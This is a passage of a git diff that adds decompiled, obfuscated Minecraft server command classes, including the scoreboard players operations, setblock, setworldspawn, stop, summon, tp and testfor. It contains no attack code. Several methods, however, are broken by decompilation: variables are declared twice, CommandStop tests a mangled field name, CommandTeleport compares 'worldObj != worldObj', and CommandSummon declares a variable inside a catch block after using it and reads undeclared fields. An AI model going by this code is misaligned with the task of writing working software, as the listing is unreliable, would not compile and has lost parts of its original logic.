+    Scoreboard var4 = getScoreboard();
+    String var5 = func_175758_e(p_147187_1_, p_147187_2_[(p_147187_3_++)]);
+    
+    if (p_147187_2_.length > p_147187_3_)
+    {
+      ScoreObjective var6 = func_147189_a(p_147187_2_[(p_147187_3_++)], false);
+      var4.func_178822_d(var5, var6);
+      notifyOperators(p_147187_1_, this, "commands.scoreboard.players.resetscore.success", new Object[] { var6.getName(), var5 });
+    }
+    else
+    {
+      var4.func_178822_d(var5, null);
+      notifyOperators(p_147187_1_, this, "commands.scoreboard.players.reset.success", new Object[] { var5 });
+    }
+  }
+  
+  protected void func_175779_n(ICommandSender p_175779_1_, String[] p_175779_2_, int p_175779_3_) throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    String var5 = getPlayerName(p_175779_1_, p_175779_2_[(p_175779_3_++)]);
+    ScoreObjective var6 = func_147189_a(p_175779_2_[p_175779_3_], false);
+    
+    if (var6.getCriteria() != IScoreObjectiveCriteria.field_178791_c)
+    {
+      throw new CommandException("commands.scoreboard.players.enable.noTrigger", new Object[] { var6.getName() });
+    }
+    
+
+    Score var7 = var4.getValueFromObjective(var5, var6);
+    var7.func_178815_a(false);
+    notifyOperators(p_175779_1_, this, "commands.scoreboard.players.enable.success", new Object[] { var6.getName(), var5 });
+  }
+  
+  protected void func_175781_o(ICommandSender p_175781_1_, String[] p_175781_2_, int p_175781_3_)
+    throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    String var5 = func_175758_e(p_175781_1_, p_175781_2_[(p_175781_3_++)]);
+    ScoreObjective var6 = func_147189_a(p_175781_2_[(p_175781_3_++)], false);
+    
+    if (!var4.func_178819_b(var5, var6))
+    {
+      throw new CommandException("commands.scoreboard.players.test.notFound", new Object[] { var6.getName(), var5 });
+    }
+    
+
+    int var7 = p_175781_2_[p_175781_3_].equals("*") ? Integer.MIN_VALUE : parseInt(p_175781_2_[p_175781_3_]);
+    p_175781_3_++;
+    int var8 = (p_175781_3_ < p_175781_2_.length) && (!p_175781_2_[p_175781_3_].equals("*")) ? parseInt(p_175781_2_[p_175781_3_], var7) : Integer.MAX_VALUE;
+    Score var9 = var4.getValueFromObjective(var5, var6);
+    
+    if ((var9.getScorePoints() >= var7) && (var9.getScorePoints() <= var8))
+    {
+      notifyOperators(p_175781_1_, this, "commands.scoreboard.players.test.success", new Object[] { Integer.valueOf(var9.getScorePoints()), Integer.valueOf(var7), Integer.valueOf(var8) });
+    }
+    else
+    {
+      throw new CommandException("commands.scoreboard.players.test.failed", new Object[] { Integer.valueOf(var9.getScorePoints()), Integer.valueOf(var7), Integer.valueOf(var8) });
+    }
+  }
+  
+  protected void func_175778_p(ICommandSender p_175778_1_, String[] p_175778_2_, int p_175778_3_)
+    throws CommandException
+  {
+    Scoreboard var4 = getScoreboard();
+    String var5 = func_175758_e(p_175778_1_, p_175778_2_[(p_175778_3_++)]);
+    ScoreObjective var6 = func_147189_a(p_175778_2_[(p_175778_3_++)], true);
+    String var7 = p_175778_2_[(p_175778_3_++)];
+    String var8 = func_175758_e(p_175778_1_, p_175778_2_[(p_175778_3_++)]);
+    ScoreObjective var9 = func_147189_a(p_175778_2_[p_175778_3_], false);
+    Score var10 = var4.getValueFromObjective(var5, var6);
+    
+    if (!var4.func_178819_b(var8, var9))
+    {
+      throw new CommandException("commands.scoreboard.players.operation.notFound", new Object[] { var9.getName(), var8 });
+    }
+    
+
+    Score var11 = var4.getValueFromObjective(var8, var9);
+    
+    if (var7.equals("+="))
+    {
+      var10.setScorePoints(var10.getScorePoints() + var11.getScorePoints());
+    }
+    else if (var7.equals("-="))
+    {
+      var10.setScorePoints(var10.getScorePoints() - var11.getScorePoints());
+    }
+    else if (var7.equals("*="))
+    {
+      var10.setScorePoints(var10.getScorePoints() * var11.getScorePoints());
+    }
+    else if (var7.equals("/="))
+    {
+      if (var11.getScorePoints() != 0)
+      {
+        var10.setScorePoints(var10.getScorePoints() / var11.getScorePoints());
+      }
+    }
+    else if (var7.equals("%="))
+    {
+      if (var11.getScorePoints() != 0)
+      {
+        var10.setScorePoints(var10.getScorePoints() % var11.getScorePoints());
+      }
+    }
+    else if (var7.equals("="))
+    {
+      var10.setScorePoints(var11.getScorePoints());
+    }
+    else if (var7.equals("<"))
+    {
+      var10.setScorePoints(Math.min(var10.getScorePoints(), var11.getScorePoints()));
+    }
+    else if (var7.equals(">"))
+    {
+      var10.setScorePoints(Math.max(var10.getScorePoints(), var11.getScorePoints()));
+    }
+    else
+    {
+      if (!var7.equals("><"))
+      {
+        throw new CommandException("commands.scoreboard.players.operation.invalidOperation", new Object[] { var7 });
+      }
+      
+      int var12 = var10.getScorePoints();
+      var10.setScorePoints(var11.getScorePoints());
+      var11.setScorePoints(var12);
+    }
+    
+    notifyOperators(p_175778_1_, this, "commands.scoreboard.players.operation.success", new Object[0]);
+  }
+  
+
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      return getListOfStringsMatchingLastWord(args, new String[] { "objectives", "players", "teams" });
+    }
+    
+
+    if (args[0].equalsIgnoreCase("objectives"))
+    {
+      if (args.length == 2)
+      {
+        return getListOfStringsMatchingLastWord(args, new String[] { "list", "add", "remove", "setdisplay" });
+      }
+      
+      if (args[1].equalsIgnoreCase("add"))
+      {
+        if (args.length == 4)
+        {
+          java.util.Set var4 = IScoreObjectiveCriteria.INSTANCES.keySet();
+          return func_175762_a(args, var4);
+        }
+      }
+      else if (args[1].equalsIgnoreCase("remove"))
+      {
+        if (args.length == 3)
+        {
+          return func_175762_a(args, func_147184_a(false));
+        }
+      }
+      else if (args[1].equalsIgnoreCase("setdisplay"))
+      {
+        if (args.length == 3)
+        {
+          return getListOfStringsMatchingLastWord(args, Scoreboard.func_178821_h());
+        }
+        
+        if (args.length == 4)
+        {
+          return func_175762_a(args, func_147184_a(false));
+        }
+      }
+    }
+    else if (args[0].equalsIgnoreCase("players"))
+    {
+      if (args.length == 2)
+      {
+        return getListOfStringsMatchingLastWord(args, new String[] { "set", "add", "remove", "reset", "list", "enable", "test", "operation" });
+      }
+      
+      if ((!args[1].equalsIgnoreCase("set")) && (!args[1].equalsIgnoreCase("add")) && (!args[1].equalsIgnoreCase("remove")) && (!args[1].equalsIgnoreCase("reset")))
+      {
+        if (args[1].equalsIgnoreCase("enable"))
+        {
+          if (args.length == 3)
+          {
+            return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+          }
+          
+          if (args.length == 4)
+          {
+            return func_175762_a(args, func_175782_e());
+          }
+        }
+        else if ((!args[1].equalsIgnoreCase("list")) && (!args[1].equalsIgnoreCase("test")))
+        {
+          if (args[1].equalsIgnoreCase("operation"))
+          {
+            if (args.length == 3)
+            {
+              return func_175762_a(args, getScoreboard().getObjectiveNames());
+            }
+            
+            if (args.length == 4)
+            {
+              return func_175762_a(args, func_147184_a(true));
+            }
+            
+            if (args.length == 5)
+            {
+              return getListOfStringsMatchingLastWord(args, new String[] { "+=", "-=", "*=", "/=", "%=", "=", "<", ">", "><" });
+            }
+            
+            if (args.length == 6)
+            {
+              return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+            }
+            
+            if (args.length == 7)
+            {
+              return func_175762_a(args, func_147184_a(false));
+            }
+          }
+        }
+        else
+        {
+          if (args.length == 3)
+          {
+            return func_175762_a(args, getScoreboard().getObjectiveNames());
+          }
+          
+          if ((args.length == 4) && (args[1].equalsIgnoreCase("test")))
+          {
+            return func_175762_a(args, func_147184_a(false));
+          }
+        }
+      }
+      else
+      {
+        if (args.length == 3)
+        {
+          return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+        }
+        
+        if (args.length == 4)
+        {
+          return func_175762_a(args, func_147184_a(true));
+        }
+      }
+    }
+    else if (args[0].equalsIgnoreCase("teams"))
+    {
+      if (args.length == 2)
+      {
+        return getListOfStringsMatchingLastWord(args, new String[] { "add", "remove", "join", "leave", "empty", "list", "option" });
+      }
+      
+      if (args[1].equalsIgnoreCase("join"))
+      {
+        if (args.length == 3)
+        {
+          return func_175762_a(args, getScoreboard().getTeamNames());
+        }
+        
+        if (args.length >= 4)
+        {
+          return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+        }
+      }
+      else
+      {
+        if (args[1].equalsIgnoreCase("leave"))
+        {
+          return getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+        }
+        
+        if ((!args[1].equalsIgnoreCase("empty")) && (!args[1].equalsIgnoreCase("list")) && (!args[1].equalsIgnoreCase("remove")))
+        {
+          if (args[1].equalsIgnoreCase("option"))
+          {
+            if (args.length == 3)
+            {
+              return func_175762_a(args, getScoreboard().getTeamNames());
+            }
+            
+            if (args.length == 4)
+            {
+              return getListOfStringsMatchingLastWord(args, new String[] { "color", "friendlyfire", "seeFriendlyInvisibles", "nametagVisibility", "deathMessageVisibility" });
+            }
+            
+            if (args.length == 5)
+            {
+              if (args[3].equalsIgnoreCase("color"))
+              {
+                return func_175762_a(args, EnumChatFormatting.getValidValues(true, false));
+              }
+              
+              if ((args[3].equalsIgnoreCase("nametagVisibility")) || (args[3].equalsIgnoreCase("deathMessageVisibility")))
+              {
+                return getListOfStringsMatchingLastWord(args, Team.EnumVisible.func_178825_a());
+              }
+              
+              if ((args[3].equalsIgnoreCase("friendlyfire")) || (args[3].equalsIgnoreCase("seeFriendlyInvisibles")))
+              {
+                return getListOfStringsMatchingLastWord(args, new String[] { "true", "false" });
+              }
+            }
+          }
+        }
+        else if (args.length == 3)
+        {
+          return func_175762_a(args, getScoreboard().getTeamNames());
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+
+  protected List func_147184_a(boolean p_147184_1_)
+  {
+    Collection var2 = getScoreboard().getScoreObjectives();
+    ArrayList var3 = Lists.newArrayList();
+    Iterator var4 = var2.iterator();
+    
+    while (var4.hasNext())
+    {
+      ScoreObjective var5 = (ScoreObjective)var4.next();
+      
+      if ((!p_147184_1_) || (!var5.getCriteria().isReadOnly()))
+      {
+        var3.add(var5.getName());
+      }
+    }
+    
+    return var3;
+  }
+  
+  protected List func_175782_e()
+  {
+    Collection var1 = getScoreboard().getScoreObjectives();
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = var1.iterator();
+    
+    while (var3.hasNext())
+    {
+      ScoreObjective var4 = (ScoreObjective)var3.next();
+      
+      if (var4.getCriteria() == IScoreObjectiveCriteria.field_178791_c)
+      {
+        var2.add(var4.getName());
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSetBlock.java b/src/minecraft/net/minecraft/command/server/CommandSetBlock.java
new file mode 100644
index 0000000..c775c72
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSetBlock.java
@@ -0,0 +1,149 @@
+package net.minecraft.command.server;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class CommandSetBlock extends CommandBase
+{
+  private static final String __OBFID = "CL_00000949";
+  
+  public CommandSetBlock() {}
+  
+  public String getCommandName()
+  {
+    return "setblock";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.setblock.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 4)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.setblock.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    Block var4 = CommandBase.getBlockByText(sender, args[3]);
+    int var5 = 0;
+    
+    if (args.length >= 5)
+    {
+      var5 = parseInt(args[4], 0, 15);
+    }
+    
+    World var6 = sender.getEntityWorld();
+    
+    if (!var6.isBlockLoaded(var3))
+    {
+      throw new CommandException("commands.setblock.outOfWorld", new Object[0]);
+    }
+    
+
+    NBTTagCompound var7 = new NBTTagCompound();
+    boolean var8 = false;
+    
+    if ((args.length >= 7) && (var4.hasTileEntity()))
+    {
+      String var9 = getChatComponentFromNthArg(sender, args, 6).getUnformattedText();
+      
+      try
+      {
+        var7 = JsonToNBT.func_180713_a(var9);
+        var8 = true;
+      }
+      catch (NBTException var12)
+      {
+        throw new CommandException("commands.setblock.tagError", new Object[] { var12.getMessage() });
+      }
+    }
+    
+    if (args.length >= 6)
+    {
+      if (args[5].equals("destroy"))
+      {
+        var6.destroyBlock(var3, true);
+        
+        if (var4 == Blocks.air)
+        {
+          notifyOperators(sender, this, "commands.setblock.success", new Object[0]);
+        }
+        
+      }
+      else if ((args[5].equals("keep")) && (!var6.isAirBlock(var3)))
+      {
+        throw new CommandException("commands.setblock.noChange", new Object[0]);
+      }
+    }
+    
+    TileEntity var13 = var6.getTileEntity(var3);
+    
+    if (var13 != null)
+    {
+      if ((var13 instanceof IInventory))
+      {
+        ((IInventory)var13).clearInventory();
+      }
+      
+      var6.setBlockState(var3, Blocks.air.getDefaultState(), var4 == Blocks.air ? 2 : 4);
+    }
+    
+    IBlockState var10 = var4.getStateFromMeta(var5);
+    
+    if (!var6.setBlockState(var3, var10, 2))
+    {
+      throw new CommandException("commands.setblock.noChange", new Object[0]);
+    }
+    
+
+    if (var8)
+    {
+      TileEntity var11 = var6.getTileEntity(var3);
+      
+      if (var11 != null)
+      {
+        var7.setInteger("x", var3.getX());
+        var7.setInteger("y", var3.getY());
+        var7.setInteger("z", var3.getZ());
+        var11.readFromNBT(var7);
+      }
+    }
+    
+    var6.func_175722_b(var3, var10.getBlock());
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 1);
+    notifyOperators(sender, this, "commands.setblock.success", new Object[0]);
+  }
+  
+
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 6 ? getListOfStringsMatchingLastWord(args, new String[] { "replace", "destroy", "keep" }) : args.length == 4 ? func_175762_a(args, Block.blockRegistry.getKeys()) : (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSetDefaultSpawnpoint.java b/src/minecraft/net/minecraft/command/server/CommandSetDefaultSpawnpoint.java
new file mode 100644
index 0000000..73a4c33
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSetDefaultSpawnpoint.java
@@ -0,0 +1,61 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.network.play.server.S05PacketSpawnPosition;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+
+public class CommandSetDefaultSpawnpoint extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000973";
+  
+  public CommandSetDefaultSpawnpoint() {}
+  
+  public String getCommandName()
+  {
+    return "setworldspawn";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.setworldspawn.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    BlockPos var3;
+    BlockPos var3;
+    if (args.length == 0)
+    {
+      var3 = getCommandSenderAsPlayer(sender).getPosition();
+    }
+    else
+    {
+      if ((args.length != 3) || (sender.getEntityWorld() == null))
+      {
+        throw new net.minecraft.command.WrongUsageException("commands.setworldspawn.usage", new Object[0]);
+      }
+      
+      var3 = func_175757_a(sender, args, 0, true);
+    }
+    
+    sender.getEntityWorld().setSpawnLocation(var3);
+    MinecraftServer.getServer().getConfigurationManager().sendPacketToAllPlayers(new S05PacketSpawnPosition(var3));
+    notifyOperators(sender, this, "commands.setworldspawn.success", new Object[] { Integer.valueOf(var3.getX()), Integer.valueOf(var3.getY()), Integer.valueOf(var3.getZ()) });
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandStop.java b/src/minecraft/net/minecraft/command/server/CommandStop.java
new file mode 100644
index 0000000..45f1f57
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandStop.java
@@ -0,0 +1,31 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.ICommandSender;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandStop extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00001132";
+  
+  public CommandStop() {}
+  
+  public String getCommandName()
+  {
+    return "stop";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.stop.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws net.minecraft.command.CommandException
+  {
+    if (getServerworldServers != null)
+    {
+      notifyOperators(sender, this, "commands.stop.start", new Object[0]);
+    }
+    
+    MinecraftServer.getServer().initiateShutdown();
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandSummon.java b/src/minecraft/net/minecraft/command/server/CommandSummon.java
new file mode 100644
index 0000000..52eda38
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandSummon.java
@@ -0,0 +1,149 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.WrongUsageException;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class CommandSummon extends CommandBase
+{
+  private static final String __OBFID = "CL_00001158";
+  
+  public CommandSummon() {}
+  
+  public String getCommandName()
+  {
+    return "summon";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.summon.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.summon.usage", new Object[0]);
+    }
+    
+
+    String var3 = args[0];
+    BlockPos var4 = sender.getPosition();
+    Vec3 var5 = sender.getPositionVector();
+    double var6 = xCoord;
+    double var8 = yCoord;
+    double var10 = zCoord;
+    
+    if (args.length >= 4)
+    {
+      var6 = func_175761_b(var6, args[1], true);
+      var8 = func_175761_b(var8, args[2], false);
+      var10 = func_175761_b(var10, args[3], true);
+      var4 = new BlockPos(var6, var8, var10);
+    }
+    
+    World var12 = sender.getEntityWorld();
+    
+    if (!var12.isBlockLoaded(var4))
+    {
+      throw new CommandException("commands.summon.outOfWorld", new Object[0]);
+    }
+    if ("LightningBolt".equals(var3))
+    {
+      var12.addWeatherEffect(new EntityLightningBolt(var12, var6, var8, var10));
+      notifyOperators(sender, this, "commands.summon.success", new Object[0]);
+    }
+    else
+    {
+      NBTTagCompound var13 = new NBTTagCompound();
+      boolean var14 = false;
+      
+      if (args.length >= 5)
+      {
+        IChatComponent var15 = getChatComponentFromNthArg(sender, args, 4);
+        
+        try
+        {
+          var13 = JsonToNBT.func_180713_a(var15.getUnformattedText());
+          var14 = true;
+        }
+        catch (NBTException var20)
+        {
+          throw new CommandException("commands.summon.tagError", new Object[] { var20.getMessage() });
+        }
+      }
+      
+      var13.setString("id", var3);
+      
+
+      try
+      {
+        var21 = EntityList.createEntityFromNBT(var13, var12);
+      }
+      catch (RuntimeException var19) {
+        Entity var21;
+        throw new CommandException("commands.summon.failed", new Object[0]);
+      }
+      Entity var21;
+      if (var21 == null)
+      {
+        throw new CommandException("commands.summon.failed", new Object[0]);
+      }
+      
+
+      var21.setLocationAndAngles(var6, var8, var10, rotationYaw, rotationPitch);
+      
+      if ((!var14) && ((var21 instanceof EntityLiving)))
+      {
+        ((EntityLiving)var21).func_180482_a(var12.getDifficultyForLocation(new BlockPos(var21)), null);
+      }
+      
+      var12.spawnEntityInWorld(var21);
+      Entity var16 = var21;
+      
+      for (NBTTagCompound var17 = var13; (var16 != null) && (var17.hasKey("Riding", 10)); var17 = var17.getCompoundTag("Riding"))
+      {
+        Entity var18 = EntityList.createEntityFromNBT(var17.getCompoundTag("Riding"), var12);
+        
+        if (var18 != null)
+        {
+          var18.setLocationAndAngles(var6, var8, var10, rotationYaw, rotationPitch);
+          var12.spawnEntityInWorld(var18);
+          var16.mountEntity(var18);
+        }
+        
+        var16 = var18;
+      }
+      
+      notifyOperators(sender, this, "commands.summon.success", new Object[0]);
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length > 1) && (args.length <= 4) ? func_175771_a(args, 1, pos) : args.length == 1 ? func_175762_a(args, EntityList.func_180124_b()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandTeleport.java b/src/minecraft/net/minecraft/command/server/CommandTeleport.java
new file mode 100644
index 0000000..79a1aad
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandTeleport.java
@@ -0,0 +1,185 @@
+package net.minecraft.command.server;
+
+import java.util.EnumSet;
+import net.minecraft.command.CommandBase.CoordinateArg;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S08PacketPlayerPosLook.EnumFlags;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.MathHelper;
+
+public class CommandTeleport extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00001180";
+  
+  public CommandTeleport() {}
+  
+  public String getCommandName()
+  {
+    return "tp";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.tp.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.tp.usage", new Object[0]);
+    }
+    
+
+    byte var3 = 0;
+    Object var4;
+    Object var4;
+    if ((args.length != 2) && (args.length != 4) && (args.length != 6))
+    {
+      var4 = getCommandSenderAsPlayer(sender);
+    }
+    else
+    {
+      var4 = func_175768_b(sender, args[0]);
+      var3 = 1;
+    }
+    
+    if ((args.length != 1) && (args.length != 2))
+    {
+      if (args.length < var3 + 3)
+      {
+        throw new net.minecraft.command.WrongUsageException("commands.tp.usage", new Object[0]);
+      }
+      if (worldObj != null)
+      {
+        int var14 = var3 + 1;
+        CommandBase.CoordinateArg var6 = func_175770_a(posX, args[var3], true);
+        CommandBase.CoordinateArg var7 = func_175767_a(posY, args[(var14++)], 0, 0, false);
+        CommandBase.CoordinateArg var8 = func_175770_a(posZ, args[(var14++)], true);
+        CommandBase.CoordinateArg var9 = func_175770_a(rotationYaw, args.length > var14 ? args[(var14++)] : "~", false);
+        CommandBase.CoordinateArg var10 = func_175770_a(rotationPitch, args.length > var14 ? args[var14] : "~", false);
+        
+
+        if ((var4 instanceof EntityPlayerMP))
+        {
+          EnumSet var11 = EnumSet.noneOf(S08PacketPlayerPosLook.EnumFlags.class);
+          
+          if (var6.func_179630_c())
+          {
+            var11.add(S08PacketPlayerPosLook.EnumFlags.X);
+          }
+          
+          if (var7.func_179630_c())
+          {
+            var11.add(S08PacketPlayerPosLook.EnumFlags.Y);
+          }
+          
+          if (var8.func_179630_c())
+          {
+            var11.add(S08PacketPlayerPosLook.EnumFlags.Z);
+          }
+          
+          if (var10.func_179630_c())
+          {
+            var11.add(S08PacketPlayerPosLook.EnumFlags.X_ROT);
+          }
+          
+          if (var9.func_179630_c())
+          {
+            var11.add(S08PacketPlayerPosLook.EnumFlags.Y_ROT);
+          }
+          
+          float var12 = (float)var9.func_179629_b();
+          
+          if (!var9.func_179630_c())
+          {
+            var12 = MathHelper.wrapAngleTo180_float(var12);
+          }
+          
+          float var13 = (float)var10.func_179629_b();
+          
+          if (!var10.func_179630_c())
+          {
+            var13 = MathHelper.wrapAngleTo180_float(var13);
+          }
+          
+          if ((var13 > 90.0F) || (var13 < -90.0F))
+          {
+            var13 = MathHelper.wrapAngleTo180_float(180.0F - var13);
+            var12 = MathHelper.wrapAngleTo180_float(var12 + 180.0F);
+          }
+          
+          ((Entity)var4).mountEntity(null);
+          playerNetServerHandler.func_175089_a(var6.func_179629_b(), var7.func_179629_b(), var8.func_179629_b(), var12, var13, var11);
+          ((Entity)var4).setRotationYawHead(var12);
+        }
+        else
+        {
+          float var15 = (float)MathHelper.wrapAngleTo180_double(var9.func_179628_a());
+          float var12 = (float)MathHelper.wrapAngleTo180_double(var10.func_179628_a());
+          
+          if ((var12 > 90.0F) || (var12 < -90.0F))
+          {
+            var12 = MathHelper.wrapAngleTo180_float(180.0F - var12);
+            var15 = MathHelper.wrapAngleTo180_float(var15 + 180.0F);
+          }
+          
+          ((Entity)var4).setLocationAndAngles(var6.func_179628_a(), var7.func_179628_a(), var8.func_179628_a(), var15, var12);
+          ((Entity)var4).setRotationYawHead(var15);
+        }
+        
+        notifyOperators(sender, this, "commands.tp.success.coordinates", new Object[] { ((Entity)var4).getName(), Double.valueOf(var6.func_179628_a()), Double.valueOf(var7.func_179628_a()), Double.valueOf(var8.func_179628_a()) });
+      }
+    }
+    else
+    {
+      Entity var5 = func_175768_b(sender, args[(args.length - 1)]);
+      
+      if (worldObj != worldObj)
+      {
+        throw new CommandException("commands.tp.notSameDimension", new Object[0]);
+      }
+      
+
+      ((Entity)var4).mountEntity(null);
+      
+      if ((var4 instanceof EntityPlayerMP))
+      {
+        playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+      }
+      else
+      {
+        ((Entity)var4).setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+      }
+      
+      notifyOperators(sender, this, "commands.tp.success", new Object[] { ((Entity)var4).getName(), var5.getName() });
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return (args.length != 1) && (args.length != 2) ? null : getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames());
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandTestFor.java b/src/minecraft/net/minecraft/command/server/CommandTestFor.java
new file mode 100644
index 0000000..8b7b91b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandTestFor.java
@@ -0,0 +1,87 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+
+public class CommandTestFor extends CommandBase
+{
+  private static final String __OBFID = "CL_00001182";
+  
+  public CommandTestFor() {}
+  
+  public String getCommandName()
+  {
+    return "testfor";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.testfor.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.testfor.usage", new Object[0]);
+    }
+    
+
+    Entity var3 = func_175768_b(sender, args[0]);
+    NBTTagCompound var4 = null;
+    
+    if (args.length >= 2)
+    {
+      try
+      {
+        var4 = JsonToNBT.func_180713_a(func_180529_a(args, 1));
+      }
+      catch (NBTException var6)
+      {
+        throw new CommandException("commands.testfor.tagError", new Object[] { var6.getMessage() });
+      }
+    }
+    
+    if (var4 != null)
+    {
+      NBTTagCompound var5 = new NBTTagCompound();
+      var3.writeToNBT(var5);
+      
+      if (!CommandTestForBlock.func_175775_a(var4, var5, true))
+      {
+        throw new CommandException("commands.testfor.failure", new Object[] { var3.getName() });
+      }
+    }
+    
+    notifyOperators(sender, this, "commands.testfor.success", new Object[] { var3.getName() });
+  }
+  
+
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+}
